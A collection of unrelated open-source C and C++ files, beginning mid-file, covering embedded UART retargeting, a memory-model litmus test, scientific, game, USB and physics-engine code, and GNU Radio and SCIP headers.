UART_SEND_BYTE(ch);
}
void _sys_exit(int return_code) {
label: goto label; /* endless loop */
}
#elif defined (__GNUC__)
/******************************************************************************/
/* Retarget functions for GNU Tools for ARM Embedded Processors */
/******************************************************************************/
#include <sys/stat.h>
__attribute__ ((used)) int _write (int fd, char *ptr, int len)
{
size_t i;
for (i=0; i<len;i++) {
UART_SEND_BYTE(ptr[i]); // call character output function
}
return len;
}
#else //using TOOLCHAIN_IAR
int putchar(int ch)
{
return (UART_SEND_BYTE(ch));
}
int getchar(void)
{
return (UART_SEND_BYTE(UART_RECV_BYTE()));
}
#endif
|
/* Copyright (C) 2018 Magnus Lång and Tuan Phong Ngo
* This benchmark is part of SWSC */
#include <assert.h>
#include <stdint.h>
#include <stdatomic.h>
#include <pthread.h>
atomic_int vars[3];
atomic_int atom_1_r1_1;
atomic_int atom_1_r4_0;
void *t0(void *arg){
label_1:;
atomic_store_explicit(&vars[0], 1, memory_order_seq_cst);
atomic_store_explicit(&vars[0], 2, memory_order_seq_cst);
int v2_r4 = atomic_load_explicit(&vars[1], memory_order_seq_cst);
int v3_r6 = v2_r4 ^ v2_r4;
atomic_store_explicit(&vars[2+v3_r6], 1, memory_order_seq_cst);
return NULL;
}
void *t1(void *arg){
label_2:;
int v5_r1 = atomic_load_explicit(&vars[2], memory_order_seq_cst);
int v6_r3 = v5_r1 ^ v5_r1;
int v9_r4 = atomic_load_explicit(&vars[0+v6_r3], memory_order_seq_cst);
int v16 = (v5_r1 == 1);
atomic_store_explicit(&atom_1_r1_1, v16, memory_order_seq_cst);
int v17 = (v9_r4 == 0);
atomic_store_explicit(&atom_1_r4_0, v17, memory_order_seq_cst);
return NULL;
}
int main(int argc, char *argv[]){
pthread_t thr0;
pthread_t thr1;
atomic_init(&vars[1], 0);
atomic_init(&vars[0], 0);
atomic_init(&vars[2], 0);
atomic_init(&atom_1_r1_1, 0);
atomic_init(&atom_1_r4_0, 0);
pthread_create(&thr0, NULL, t0, NULL);
pthread_create(&thr1, NULL, t1, NULL);
pthread_join(thr0, NULL);
pthread_join(thr1, NULL);
int v10 = atomic_load_explicit(&vars[0], memory_order_seq_cst);
int v11 = (v10 == 2);
int v12 = atomic_load_explicit(&atom_1_r1_1, memory_order_seq_cst);
int v13 = atomic_load_explicit(&atom_1_r4_0, memory_order_seq_cst);
int v14_conj = v12 & v13;
int v15_conj = v11 & v14_conj;
if (v15_conj == 1) assert(0);
return 0;
}
|
/*
* Copyright (C) 1993-1996 Bernd Feige
* This file is part of avg_q and released under the GPL v3 (see avg_q/COPYING).
*/
/*
* mfxtriggers.c - A small mfx application which lists the trigger codes
* found in the channel named TRIGGER of the named mfx file.
* Bernd Feige 10.02.1993
*/
/*{{{}}}*/
/*{{{ #includes*/
#include <stdio.h>
#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include "mfx_file.h"
/*}}} */
extern char *optarg;
extern int optind, opterr;
#define DEFAULT_TRIGGERCHANNEL "TRIGGER"
int main(int argc, char **argv) {
/*{{{ Local vars*/
MFX_FILE *myfile;
int i, c, pos, pos2, trig, len, mintrig, maxtrig, pts_in_epoch;
int verbose=FALSE, errflag=0;
int *trigcounts=NULL;
short trigshort;
char triggerchannel[20];
double sample_period;
/*}}} */
/*{{{ Process options*/
strcpy(triggerchannel, DEFAULT_TRIGGERCHANNEL);
while ((c=getopt(argc, argv, "t:v"))!=EOF) {
switch (c) {
case 't':
strcpy(triggerchannel, optarg);
printf("%s: Using trigger channel %s\n", argv[0], triggerchannel);
break;
case 'v':
verbose=TRUE;
break;
case '?':
default:
errflag++;
continue;
}
}
if (argc-optind!=1 || errflag>0) {
fprintf(stderr, "This is mfxtriggers using the mfx library version\n%s\n\n"
"Usage: %s [-t trigchannel] [-v] mfxfile\n"
" -t trigchannel: Specify the name of the trigger channel explicitly\n"
" -v: Each trigger position is listed verbosely\n"
, mfx_version, argv[0]);
return 1;
}
/*}}} */
/*{{{ Open file and select the trigger channel*/
if ((myfile=mfx_open(argv[optind], "rb", MFX_SHORTS))==NULL) {
fprintf(stderr, "mfx_open: %s\n", mfx_errors[mfx_lasterr]);
return 2;
}
if (mfx_cselect(myfile, triggerchannel)!=1) {
fprintf(stderr, "mfx_cselect: %s\n", mfx_errors[mfx_lasterr]);
return 3;
}
pts_in_epoch=myfile->fileheader.pts_in_epoch;
sample_period=myfile->fileheader.sample_period;
/*}}} */
/*{{{ if (verbose) {Print header}*/
if (verbose) {
printf("Trigger list for file %s\n\n", argv[optind]);
pos=mfx_tell(myfile);
}
/*}}} */
i=0;
while (mfx_lasterr==MFX_NOERR &&
(trig=mfx_seektrigger(myfile, triggerchannel, 0))!=0) {
/*{{{ Note next trigger*/
i++;
if (verbose) {
pos2=mfx_tell(myfile); len=0;
while (mfx_read(&trigshort, 1, myfile)==MFX_NOERR &&
((trigshort=DATACONV(myfile->channelheaders[myfile->selected_channels[0]-1], trigshort)+0.1), IS_TRIGGER(trigshort))) {
if (TRIGGERCODE(trigshort)!=trig) {
printf("Warning: Trigger number %d in this sequence is %d!=%d\n", len+1, TRIGGERCODE(trigshort), trig);
}
len++;
}
printf("Trigger at: %6d", pos2);
if (myfile->mfxlen>pts_in_epoch) {
printf(" (%11.5fs epoch %d)", (float)(pos2%pts_in_epoch)*sample_period, pos2/pts_in_epoch);
} else {
printf(" (%11.5fs)", (float)pos2*sample_period);
}
printf(", distance: %6d, code: %2d, length: %3d\n", pos2-pos, trig, len);
}
if (trigcounts==NULL) {
/*{{{ Initialize the trigcounts storage*/
if ((trigcounts=(int *)calloc(1, sizeof(int)))==NULL) {
fprintf(stderr, "Error allocating trigcounts buffer\n");
return 4;
}
mintrig=maxtrig=trig;
/*}}} */
} else if (trig<mintrig || trig>maxtrig) {
/*{{{ Expand the trigcounts storage*/
int newmintrig=mintrig, newmaxtrig=maxtrig;
if (trig<mintrig) {
newmintrig=trig;
} else {
newmaxtrig=trig;
}
if ((trigcounts=(int *)realloc(trigcounts, (newmaxtrig-newmintrig+1)*sizeof(int)))==NULL) {
fprintf(stderr, "Error reallocating trigcounts buffer\n");
return 5;
}
if (trig<mintrig) {
memmove(trigcounts+(mintrig-trig), trigcounts, (maxtrig-mintrig+1)*sizeof(int));
memset(trigcounts, 0, (mintrig-trig)*sizeof(int));
} else {
memset(trigcounts+(maxtrig-mintrig+1), 0, (trig-maxtrig)*sizeof(int));
}
mintrig=newmintrig; maxtrig=newmaxtrig;
/*}}} */
}
trigcounts[trig-mintrig]++;
if (verbose) pos=pos2;
/*}}} */
}
/*{{{ Output trigger statistics*/
if (verbose) printf("\n");
printf("Trigger statistics for file %s\n\n", argv[optind]);
if (trigcounts==NULL) {
printf("No triggers found.\n");
} else {
for (trig=mintrig; trig<=maxtrig; trig++) {
printf("%d times trigger code %d\n", trigcounts[trig-mintrig], trig);
}
}
printf("\nTotal data points: %ld, Total triggers: %d\n", mfx_tell(myfile), i);
/*}}} */
mfx_close(myfile);
return 0;
}
|
//<FLAGS>
//#define __GPU
//#define __NOPROTO
//<\FLAGS>
//<INCLUDES>
#include "fargo3d.h"
//<\INCLUDES>
void VanLeerX_PPA_b_cpu(Field *Q){
//<USER_DEFINED>
INPUT(Q);
INPUT(Slope);
OUTPUT(QL);
OUTPUT(QR);
//<\USER_DEFINED>
//<EXTERNAL>
real* slope = Slope->field_cpu;
real* q = Q->field_cpu;
real* qL = QL->field_cpu;
real* qR = QR->field_cpu;
int pitch = Pitch_cpu;
int stride = Stride_cpu;
int size_x = XIP;
int size_y = Ny+2*NGHY;
int size_z = Nz+2*NGHZ;
//<\EXTERNAL>
//<INTERNAL>
int i;
int j;
int k;
int ll;
int llxp;
real temp;
//<\INTERNAL>
//<MAIN_LOOP>
i = j = k = 0;
#ifdef Z
for (k=0; k<size_z; k++) {
#endif
#ifdef Y
for (j=0; j<size_y; j++) {
#endif
for (i=0; i<size_x; i++) {// Now we compute q_j+1/2
//<#>
ll = l;
llxp = lxp;
temp = q[ll]+0.5*(q[llxp]-q[ll])-1.0/6.0*(slope[llxp]-slope[ll]);
qR[ll] = temp;
qL[llxp] = temp;
//<\#>
}
#ifdef Y
}
#endif
#ifdef Z
}
#endif
//<\MAIN_LOOP>
}
|
//
// Created by youhei on 17/05/15.
//
#ifndef TERMINALRPG_EVENTSCENE_H
#define TERMINALRPG_EVENTSCENE_H
#include "BaseScene.h"
class EventScene :public BaseScene {
public:
EventScene ();
void initialize () override;
void finalize () override;
void update () override;
void draw () override;
private:
int count;
size_t display_count;
std::string message;
std::u32string u32message;
std::u32string u32display_message;
std::string display;
void key_handle(int key);
};
#endif //TERMINALRPG_EVENTSCENE_H
|
/* LOOT
A load order optimisation tool for
Morrowind, Oblivion, Skyrim, Skyrim Special Edition, Skyrim VR,
Fallout 3, Fallout: New Vegas, Fallout 4 and Fallout 4 VR.
Copyright (C) 2014 WrinklyNinja
This file is part of LOOT.
LOOT is free software: you can redistribute
it and/or modify it under the terms of the GNU General Public License
as published by the Free Software Foundation, either version 3 of
the License, or (at your option) any later version.
LOOT is distributed in the hope that it will
be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with LOOT. If not, see
<https://www.gnu.org/licenses/>.
*/
#ifndef LOOT_GUI_QUERY_GET_GAME_DATA_QUERY
#define LOOT_GUI_QUERY_GET_GAME_DATA_QUERY
#include <boost/locale.hpp>
#include "gui/query/query.h"
#include "gui/state/game/game.h"
#include "loot/loot_version.h"
namespace loot {
class GetGameDataQuery : public Query {
public:
GetGameDataQuery(gui::Game& game,
std::string language,
std::function<void(std::string)> sendProgressUpdate) :
game_(game),
language_(language),
sendProgressUpdate_(sendProgressUpdate) {}
QueryResult executeLogic() override {
sendProgressUpdate_(boost::locale::translate(
"Parsing, merging and evaluating metadata..."));
/* If the game's plugins object is empty, this is the first time loading
the game data, so also load the metadata lists. */
bool isFirstLoad = game_.GetPlugins().empty();
game_.LoadAllInstalledPlugins(true);
if (isFirstLoad) {
game_.LoadMetadata();
}
game_.LoadCreationClubPluginNames();
// Sort plugins into their load order.
auto installed = game_.GetPluginsInLoadOrder();
std::vector<PluginItem> metadata;
for (const auto& plugin : installed) {
metadata.push_back(PluginItem(*plugin, game_, language_));
}
return metadata;
}
private:
gui::Game& game_;
std::string language_;
std::function<void(std::string)> sendProgressUpdate_;
};
}
#endif
|
#ifndef SIMPLE_H
#define SIMPLE_H
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#define new(Class,...) _##Class##_new(__VA_ARGS__)
#define VECTOR_TYPE 1234
#define STRING_TYPE 2345
#define MAP_TYPE 3456
#define false 0
#define true !0
#define and &&
#define or ||
#define xor ^
#define not !=
#define null NULL
#define foreach(item,collection) \
int i = 0;\
for(__typeof__(collection->get(0)) item = collection->get(0);\
i<collection->size();\
item = collection->get(++i))
#define STR(s) #s
#define MERGE_(a,b) a##b
#define LABEL_(a,b) MERGE_(a,b)
#define UID(b) LABEL_(b,__LINE__)
#define NUMARGS(...) (sizeof((int[]){0, ##__VA_ARGS__})/sizeof(int)-1)
typedef char* string;
typedef unsigned char bool;
typedef unsigned char byte;
typedef void* variant;
typedef struct var {
union {
unsigned char Bool:1;
unsigned char Byte;
char Char;
int Int;
float Float;
double Double;
string String;
void *Pointer;
}value;
char type;
} var;
typedef struct Iterator {
void *private;
void* (*next)();
bool (*hasNext)();
void* (*previous)();
void* (*last)();;
void* (*first)();
int position;
}Iterator;
// #ifdef SIMPLE_STRING
// #include <string.h>
// #include "String.h"
// #endif
//
// #ifdef SIMPLE_CONSOLE
// #include "in.h"
// #include "out.h"
// #endif
#endif
|
/*
* Code to accompany the paper:
* Efficient Online Structured Output Learning for Keypoint-Based Object Tracking
* Sam Hare, Amir Saffari, Philip H. S. Torr
* Computer Vision and Pattern Recognition (CVPR), 2012
*
* Copyright (C) 2012 Sam Hare, Oxford Brookes University, Oxford, UK
*
* This file is part of learnmatch.
*
* learnmatch is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* learnmatch is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with learnmatch. If not, see <http://www.gnu.org/licenses/>.
*
*/
#ifndef STATS_H
#define STATS_H
#include <string>
#include <fstream>
class Stats
{
public:
Stats() :
numKeypoints(0),
numMatches(0),
hasDetection(false),
numInliers(0),
timeDetect(0),
bestSampleIndex(0),
error(0.0)
{}
int numKeypoints;
int numMatches;
bool hasDetection;
int numInliers;
double timeDetect;
int bestSampleIndex;
float error;
};
class StatsLogger
{
public:
virtual void LogFrame(const Stats& stats) = 0;
};
class StatsTextLogger : public StatsLogger
{
public:
StatsTextLogger(const std::string& path);
~StatsTextLogger();
virtual void LogFrame(const Stats& stats);
private:
int m_frameIdx;
std::fstream m_file;
};
#endif |
#ifndef PIPELINE_CPU_H
#define PIPELINE_CPU_H
#include <string>
#include "PipelineRegs.h"
#include "RegisterBank.h"
#include "ShiftLeft.h"
#include "Mem.h"
#include "Helpers.h"
#include "Control.h"
#include "ALU.h"
#include "Register.h"
class PipelineCPU{
private:
Register *ip, *oip, *ooip, *cs, *ds, *ss, *es;
RegisterBank *rb;
Helpers *hp;
ALU *alu;
Mem *dataMem, *instMem;
RegistradorPipeline *ifIdI, *idExI, *exMemI, *memWbI;
RegistradorPipeline *ifIdO, *idExO, *exMemO, *memWbO;
std::string *IF, *ID, *EX, *MEM, *WB;
Control *c;
//Estágios Pipeline
void execIF(int s);
void execID();
void execEX();
void execMEM();
void execWB();
bool on;
bool nop;
/** LOG **/
std::stringstream tmpAllToStr;
/** LOG_end **/
public:
PipelineCPU();
//Controles CPU
void exec();
void reset();
std::string getOn();
//Registradores
std::string getAX();
std::string getBX();
std::string getCX();
std::string getDX();
std::string getIP();
std::string getSP();
std::string getBP();
std::string getSI();
std::string getDI();
std::string getCS();
std::string getDS();
std::string getSS();
std::string getES();
//Flags
std::string getCF();
std::string getZF();
std::string getSF();
std::string getOF();
std::string getPF();
std::string getAF();
std::string getIF();
std::string getDF();
//Pipeline
std::string getPIF();
std::string getPID();
std::string getPEX();
std::string getPMEM();
std::string getPWB();
//Memoria
void setData(std::string s);
void setCode(std::string s);
std::string getDataMem();
std::string getCodeMem();
std::string readFile(std::string filename);
//IP
int PIP();
};
#endif //PIPELINE_CPU_H
|
/*
LUFA Library
Copyright (C) Dean Camera, 2010.
dean [at] fourwalledcubicle [dot] com
www.lufa-lib.org
*/
/*
Copyright 2010 Dean Camera (dean [at] fourwalledcubicle [dot] com)
Permission to use, copy, modify, distribute, and sell this
software and its documentation for any purpose is hereby granted
without fee, provided that the above copyright notice appear in
all copies and that both that the copyright notice and this
permission notice and warranty disclaimer appear in supporting
documentation, and that the name of the author not be used in
advertising or publicity pertaining to distribution of the
software without specific, written prior permission.
The author disclaim all warranties with regard to this
software, including all implied warranties of merchantability
and fitness. In no event shall the author be liable for any
special, indirect or consequential damages or any damages
whatsoever resulting from loss of use, data or profits, whether
in an action of contract, negligence or other tortious action,
arising out of or in connection with the use or performance of
this software.
*/
/** \file
*
* Header file for KeyboardHost.c.
*/
#ifndef _KEYBOARD_HOST_H_
#define _KEYBOARD_HOST_H_
/* Includes: */
#include <avr/io.h>
#include <avr/wdt.h>
#include <avr/pgmspace.h>
#include <avr/power.h>
#include <avr/interrupt.h>
#include <stdio.h>
#include <LUFA/Version.h>
#include <LUFA/Drivers/Misc/TerminalCodes.h>
#include <LUFA/Drivers/USB/USB.h>
#include <LUFA/Drivers/Peripheral/SerialStream.h>
#include <LUFA/Drivers/Board/LEDs.h>
#include "ConfigDescriptor.h"
/* Macros: */
/** LED mask for the library LED driver, to indicate that the USB interface is not ready. */
#define LEDMASK_USB_NOTREADY LEDS_LED1
/** LED mask for the library LED driver, to indicate that the USB interface is enumerating. */
#define LEDMASK_USB_ENUMERATING (LEDS_LED2 | LEDS_LED3)
/** LED mask for the library LED driver, to indicate that the USB interface is ready. */
#define LEDMASK_USB_READY (LEDS_LED2 | LEDS_LED4)
/** LED mask for the library LED driver, to indicate that an error has occurred in the USB interface. */
#define LEDMASK_USB_ERROR (LEDS_LED1 | LEDS_LED3)
/* Function Prototypes: */
void Keyboard_HID_Task(void);
void SetupHardware(void);
void EVENT_USB_Host_HostError(const uint8_t ErrorCode);
void EVENT_USB_Host_DeviceAttached(void);
void EVENT_USB_Host_DeviceUnattached(void);
void EVENT_USB_Host_DeviceEnumerationFailed(const uint8_t ErrorCode,
const uint8_t SubErrorCode);
void EVENT_USB_Host_DeviceEnumerationComplete(void);
void ReadNextReport(void);
#endif
|
//By GER.Cmd.buildgcc CreateDate:2008-4-28 16:08:39
#ifndef _YPKList_H_
#define _YPKList_H_
struct MSG_YPKLIST
{
char CardNumber[8];
char BeginDate[8];
char EndDate[8];
char Status[10];
};
#define YPKListSTRLENGTH 34
void InitMsgYPKList(void);
struct MSG_YPKLIST *GetMsgYPKList(void);
void SetYPKListMsgNetwork(char* InputNetwork);
void SetYPKListMsgPlaza(char* InputPlaza);
void SetYPKListMsgCardNumber(char* InputCardNumber);
void SetYPKListMsgBeginDate(char* InputBeginDate);
void SetYPKListMsgEndDate(char* InputEndDate);
void SetYPKListMsgStatus(int InputStatus);
int CheckCardNumber(char *Inputcardnumber);
int LoadYPKListRecord(int IsFirst);
int ParseRecordYPKList(char *RecordStr,int Rowindex);
int ValidateYPKCarEndDate(char *Inputcardnumber,time_t Currenttime);
int ValidateYPKCarStartDate(char *Inputcardnumber,time_t Currenttime);
char * GetYPKCarEndDate(char *Inputcardnumber);
char * GetYPKCarStartTime(char *Inputcardnumber);
#endif //define t_tablename
|
#include <stdio.h>
FILE *
fopen (const char *restrict filename, const char *restrict mode)
{
return freopen (filename, mode, NULL);
}
|
/* REMEMBER that Hal.c is platform dependent :) */
#ifndef _HAL_H
#define _HAL_H
#include <stdint.h>
#define interrupt
#define far
#define near
extern int hal_initialize(); // Init Hardware Abstraction Layer
extern int hal_shoutdown(); // Shutdown Hardware Abstraction Layer
extern void geninterrupt(int x); // Generate x Interrupt
extern void interruptdone(unsigned int intno); // Notifies to Hal that the interrupt is done
extern void sound(unsigned frequency); // Play a sound using the Speaker
extern unsigned char inportb (unsigned short portid); // Read byte from device mapped at portid
extern void outportb (unsigned short portid, unsigned char value); // Write byte (value) to device mapped at portid
extern void enable_interrupt(); // Enable all Hardware interrupts
extern void disable_interrupt(); // Disable all Hardware interrupts
extern void setvect (int intno, void (far *vect)(),int flags); // Sets new interrupt vector
extern const char* get_cpu_vendor(); // Returns the cpu vendor
extern int get_tick_count(); // Returns current tick count
// sets the mode of a channel
extern void dma_set_mode (uint8_t channel, uint8_t mode);
// prepares for generic channel read
extern void dma_set_read (uint8_t channel);
// prepares for generic channel write
extern void dma_set_write (uint8_t channel);
// sets the address of a channel
extern void dma_set_address(uint8_t channel, uint8_t low, uint8_t high);
// sets the counter of a channel
extern void dma_set_count(uint8_t channel, uint8_t low, uint8_t high);
// masks a channel
extern void dma_mask_channel (uint8_t channel);
// unmasks a channel
extern void dma_unmask_channel (uint8_t channel);
// resets a flipflop
extern void dma_reset_flipflop (int dma);
// reset the dma to defaults
extern void dma_reset (int dma);
// sets an external page register
extern void dma_set_external_page_register (uint8_t reg, uint8_t val);
// unmasks all registers
extern void dma_unmask_all (int dma);
// sleep for ms
extern void sleep (int ms);
// Enter usermode function.
extern void enter_usermode();
// Install Task State Segment (tss.c)
extern void install_tss(uint32_t idx, uint16_t kernelSS, uint16_t kernelESP);
// Init system calls
extern void syscall_init();
extern void tss_set_stack(uint16_t kernelSS, uint16_t kernelESP);
#endif
|
//
// Copyright (C) 2001,2002,2003,2004 Jorge Daza Garcia-Blanes
// Copyright (C) 2007,2010 Andreas Schroeder
//
// This file is part of DrQueue
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
// USA
//
#include <stdio.h>
#include "blendersg.h"
#include "libdrqueue.h"
char *blendersg_create (struct blendersgi *info) {
/* This function creates the blender render script based on the information given */
/* Returns a pointer to a string containing the path of the just created file */
/* Returns NULL on failure and sets drerrno */
static char filename[BUFFERLEN];
char *p; /* Scene filename without path */
char scene[MAXCMDLEN];
struct jobscript_info *ji;
/* Check the parameters */
if (!strlen(info->scene)) {
drerrno = DRE_NOTCOMPLETE;
return NULL;
}
#ifdef __CYGWIN
cygwin_conv_to_posix_path(info->scene, scene);
#else
strncpy(scene,info->scene,MAXCMDLEN-1);
#endif
p = strrchr(scene,'/');
p = ( p ) ? p+1 : scene;
snprintf(filename,BUFFERLEN-1,"%s/%s.%lX",info->scriptdir,p,(unsigned long int)time(NULL));
// FIXME: Unified path handling
// TODO: Unified path handling
ji = jobscript_new (JOBSCRIPT_PYTHON, filename);
if(ji) {
jobscript_write_heading (ji);
jobscript_set_variable (ji,"SCENE",scene);
/* 2 means we want to distribute one single image */
if (info->render_type == 2) {
jobscript_set_variable (ji, "RENDER_TYPE", "single image");
/* 1 means we want to render an animation */
} else if (info->render_type == 1) {
jobscript_set_variable (ji, "RENDER_TYPE", "animation");
/* information missing */
} else {
drerrno = DRE_NOTCOMPLETE;
return NULL;
}
jobscript_template_write (ji,"blender_sg.py");
jobscript_close (ji);
} else {
drerrno = DRE_NOTCOMPLETE;
return NULL;
}
return filename;
}
char *blendersg_default_script_path (void) {
static char buf[BUFFERLEN];
char *p;
if (!(p = getenv("DRQUEUE_TMP"))) {
return ("/drqueue_tmp/not/set/report/bug/please/");
}
if (p[strlen(p)-1] == '/')
snprintf (buf,BUFFERLEN-1,"%s",p);
else
snprintf (buf,BUFFERLEN-1,"%s/",p);
return buf;
}
|
#ifndef FOLDERIO_H
#define FOLDERIO_H
#include <QObject>
#include <QMap>
class FolderIO : public QObject
{
Q_OBJECT
public:
explicit FolderIO(QObject *parent = nullptr);
Q_INVOKABLE QString getFile(QString Directory, int last_added = 0);
signals:
public slots:
private:
int m_file_counter = -1;
int m_file_index = -1;
QMap<QString, int> m_directory;
QMap<QString, int> m_lastplayed;
};
#endif // FOLDERIO_H
|
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/* */
/* This file is part of the program and library */
/* SCIP --- Solving Constraint Integer Programs */
/* */
/* Copyright (C) 2002-2018 Konrad-Zuse-Zentrum */
/* fuer Informationstechnik Berlin */
/* */
/* SCIP is distributed under the terms of the ZIB Academic License. */
/* */
/* You should have received a copy of the ZIB Academic License */
/* along with SCIP; see the file COPYING. If not email to scip@zib.de. */
/* */
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/**@file heur_octane.h
* @ingroup PRIMALHEURISTICS
* @brief octane primal heuristic based on Balas, Ceria, Dawande, Margot, and Pataki
* @author Timo Berthold
*/
/*---+----1----+----2----+----3----+----4----+----5----+----6----+----7----+----8----+----9----+----0----+----1----+----2*/
#ifndef __SCIP_HEUR_OCTANE_H__
#define __SCIP_HEUR_OCTANE_H__
#include "scip/scip.h"
#ifdef __cplusplus
extern "C" {
#endif
/** creates the octane primal heuristic and includes it in SCIP
*
* @ingroup PrimalHeuristicIncludes
*/
EXTERN
SCIP_RETCODE SCIPincludeHeurOctane(
SCIP* scip /**< SCIP data structure */
);
#ifdef __cplusplus
}
#endif
#endif
|
#ifndef HK_PHYSICS_LIMITED_BALL_SOCKET_CONTRAINT_H
#define HK_PHYSICS_LIMITED_BALL_SOCKET_CONTRAINT_H
class hk_Limited_Ball_Socket_BP;
class hk_Local_Constraint_System;
// IVP_EXPORT_PUBLIC
class hk_Limited_Ball_Socket_Constraint : public hk_Constraint
{
public:
hk_Limited_Ball_Socket_Constraint( hk_Environment *, const hk_Limited_Ball_Socket_BP *, hk_Rigid_Body *a ,hk_Rigid_Body *b );
hk_Limited_Ball_Socket_Constraint( hk_Local_Constraint_System *, const hk_Limited_Ball_Socket_BP *, hk_Rigid_Body *a ,hk_Rigid_Body *b );
void apply_effector_PSI( hk_PSI_Info&, hk_Array<hk_Entity*>* );
virtual int get_vmq_storage_size();
inline virtual int setup_and_step_constraint( hk_PSI_Info& pi, void *mem, hk_real tau_factor, hk_real damp_factor );
//: uses the mem as a vmq storage, returns the bytes needed to store its vmq_storage
virtual void step_constraint( hk_PSI_Info& pi, void *mem, hk_real tau_factor, hk_real damp_factor );
//: use the mem as a vmq storage setup before
void set_angular_limits( int axis, hk_real min, hk_real max );
void init_constraint( const void* bp );
protected:
void init_ball_socket_constraint( const hk_Limited_Ball_Socket_BP *bp );
hk_Transform m_transform_os_ks[2];
//hk_Vector3 m_position_os_ks[2];
//hk_Matrix3* m_joint_axes[2];
hk_real m_strength;
hk_real m_tau;
//hk_real m_joint_limits[3][2];
hk_Interval<hk_real> m_angular_limits[3];
bool m_constrainTranslation;
};
#endif /* HK_PHYSICS_LIMITED_BALL_SOCKET_CONTRAINT_H */
|
/* -*- c++ -*- */
/*
* Copyright 2010-2015 Free Software Foundation, Inc.
*
* This file is part of GNU Radio
*
* GNU Radio is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3, or (at your option)
* any later version.
*
* GNU Radio is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with GNU Radio; see the file COPYING. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street,
* Boston, MA 02110-1301, USA.
*/
#include "usrp_block_impl.h"
#include <gnuradio/uhd/usrp_msg_sink.h>
#include <uhd/convert.hpp>
static const pmt::pmt_t SOB_KEY = pmt::string_to_symbol("tx_sob");
static const pmt::pmt_t EOB_KEY = pmt::string_to_symbol("tx_eob");
static const pmt::pmt_t TIME_KEY = pmt::string_to_symbol("tx_time");
static const pmt::pmt_t FREQ_KEY = pmt::string_to_symbol("tx_freq");
static const pmt::pmt_t COMMAND_KEY = pmt::string_to_symbol("tx_command");
namespace gr {
namespace uhd {
inline io_signature::sptr
args_to_io_sig(const ::uhd::stream_args_t &args)
{
const size_t nchan = std::max<size_t>(args.channels.size(), 1);
#ifdef GR_UHD_USE_STREAM_API
const size_t size = ::uhd::convert::get_bytes_per_item(args.cpu_format);
#else
size_t size = 0;
if(args.cpu_format == "fc32")
size = 8;
if(args.cpu_format == "sc16")
size = 4;
#endif
return io_signature::make(nchan, nchan, size);
}
/***********************************************************************
* UHD Multi USRP Sink Impl
**********************************************************************/
class usrp_msg_sink_impl : public usrp_msg_sink, public usrp_block_impl
{
public:
usrp_msg_sink_impl(const ::uhd::device_addr_t &device_addr,
const ::uhd::stream_args_t &stream_args,
const std::string &length_tag_name);
~usrp_msg_sink_impl();
::uhd::dict<std::string, std::string> get_usrp_info(size_t chan);
double get_samp_rate(void);
::uhd::meta_range_t get_samp_rates(void);
double get_center_freq(size_t chan);
::uhd::freq_range_t get_freq_range(size_t chan);
double get_gain(size_t chan);
double get_gain(const std::string &name, size_t chan);
double get_normalized_gain(size_t chan);
std::vector<std::string> get_gain_names(size_t chan);
::uhd::gain_range_t get_gain_range(size_t chan);
::uhd::gain_range_t get_gain_range(const std::string &name, size_t chan);
std::string get_antenna(size_t chan);
std::vector<std::string> get_antennas(size_t chan);
::uhd::sensor_value_t get_sensor(const std::string &name, size_t chan);
std::vector<std::string> get_sensor_names(size_t chan);
::uhd::usrp::dboard_iface::sptr get_dboard_iface(size_t chan);
void set_subdev_spec(const std::string &spec, size_t mboard);
std::string get_subdev_spec(size_t mboard);
void set_samp_rate(double rate);
::uhd::tune_result_t set_center_freq(const ::uhd::tune_request_t tune_request,
size_t chan);
void set_gain(double gain, size_t chan);
void set_gain(double gain, const std::string &name, size_t chan);
void set_normalized_gain(double gain, size_t chan);
void set_antenna(const std::string &ant, size_t chan);
void set_bandwidth(double bandwidth, size_t chan);
double get_bandwidth(size_t chan);
::uhd::freq_range_t get_bandwidth_range(size_t chan);
void set_dc_offset(const std::complex<double> &offset, size_t chan);
void set_iq_balance(const std::complex<double> &correction, size_t chan);
void set_stream_args(const ::uhd::stream_args_t &stream_args);
void set_start_time(const ::uhd::time_spec_t &time);
bool start(void);
bool stop(void);
int work(int noutput_items,
gr_vector_const_void_star &input_items,
gr_vector_void_star &output_items);
inline void tag_work(int &ninput_items);
private:
//! Like set_center_freq(), but uses _curr_freq and _curr_lo_offset
::uhd::tune_result_t _set_center_freq_from_internals(size_t chan);
#ifdef GR_UHD_USE_STREAM_API
::uhd::tx_streamer::sptr _tx_stream;
#endif
::uhd::tx_metadata_t _metadata;
double _sample_rate;
//stream tags related stuff
std::vector<tag_t> _tags;
const pmt::pmt_t _length_tag_key;
long _nitems_to_send;
int d_remaining;
uint8_t* input_items;
int d_index_start;
FILE * pFile;
uint8_t * nulls;
boost::shared_ptr<boost::thread> d_thread;
void
run();
bool d_finished;
pmt::pmt_t d_data_msgq;
pmt::pmt_t d_ack_msgq;
pmt::pmt_t d_pmt;
};
} /* namespace uhd */
} /* namespace gr */
